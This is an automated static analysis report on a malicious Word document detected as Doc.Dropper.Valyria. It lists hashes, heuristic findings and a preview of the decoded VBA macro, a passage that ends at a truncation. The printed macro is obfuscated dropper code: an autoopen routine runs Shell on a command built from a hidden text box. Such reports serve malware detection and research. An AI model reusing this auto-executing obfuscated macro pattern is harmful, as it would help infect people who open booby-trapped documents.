Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d7b47002f9f7efc…

MALICIOUS

Office (OLE)

153.6 KB Created: 2018-12-20 21:01:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: fd1a1cca4b05da580e75e52f60fcbbc0 SHA-1: ac46f85bb5af3b7e79cab2afd69c6c2fa777cd45 SHA-256: 2d7b47002f9f7efc12d19365812e0f6d24cf855e63e1a08112126048711706e2
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Valyria-6791457-0. Static analysis revealed the presence of a VBA macro with an autoopen subroutine. This macro utilizes the Shell() function, a critical indicator of malicious activity, suggesting it is designed to execute commands, likely for downloading and running a second-stage payload. The macro's obfuscated nature and the use of Shell() point towards a dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Valyria-6791457-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6791457-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4175 bytes
SHA-256: 6042fff763d52a38b9dcf14082c2b29b3e38bb50fa24484bd53284d1e7285980
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k9927197206442"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
w09531662
End Sub

Attribute VB_Name = "s16523201821039"
Function w09531662()
On Error Resume Next
    X8107 = t7926
         i4005 = j275

Select Case f32413255083048
           Case 213670996
         i668 = s0799
         U102 = h5865
           U7828 = CByte(E1789 / CByte(Y193))
         Case 286045868
         K835 = C4073
         u019 = H0172
      End Select
 i936 = k5114
         S4770 = i8839

    j2237 = n5204
         p084 = P4475

Select Case X751896671443822241699
           Case 127627899
         K413 = H9336
         c2706 = W8556
           i8230 = CByte(w9642 / CByte(V9475))
         Case 35124950
         H817 = Z4595
         w979 = Z890
      End Select
 O8231 = i8483
         Q597 = I871

S443669 = Array(j259104088, b70662084, C47348986, Interaction.Shell(("" + c06296 + A68536987 + m2193684 + c32860 + k9927197206442.TextBox1) + W772175 + T764106 + E813192, 69 - 69), J0018611, F458987, W0196464)
    R471 = N0910
         u6695 = i5377

Select Case t7899152911541080784
           Case 94443149
         T1504 = r438
         o8525 = p680
           Z2546 = CByte(b7043 / CByte(N749))
         Case 234465404
         P594 = f4665
         v8586 = P5069
      End Select
 d8466 = Z222
         Z502 = u105

End Function


Attribute VB_Name = "i85711580573651"

Attribute VB_Name = "B4487146596"

Attribute VB_Name = "X85888155185"

Attribute VB_Name = "n7619374"

Attribute VB_Name = "K9822720850998"

Attribute VB_Name = "o073646069"

Attribute VB_Name = "m7011769094809"

Attribute VB_Name = "H998455885394"

Attribute VB_Name = "K74226983294"

Attribute VB_Name = "S8898712532347"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z2322675331775"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "J01516102690"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i294427489"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "f675612614"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l01417785070832"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q33480648099533"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = Fa
... (truncated)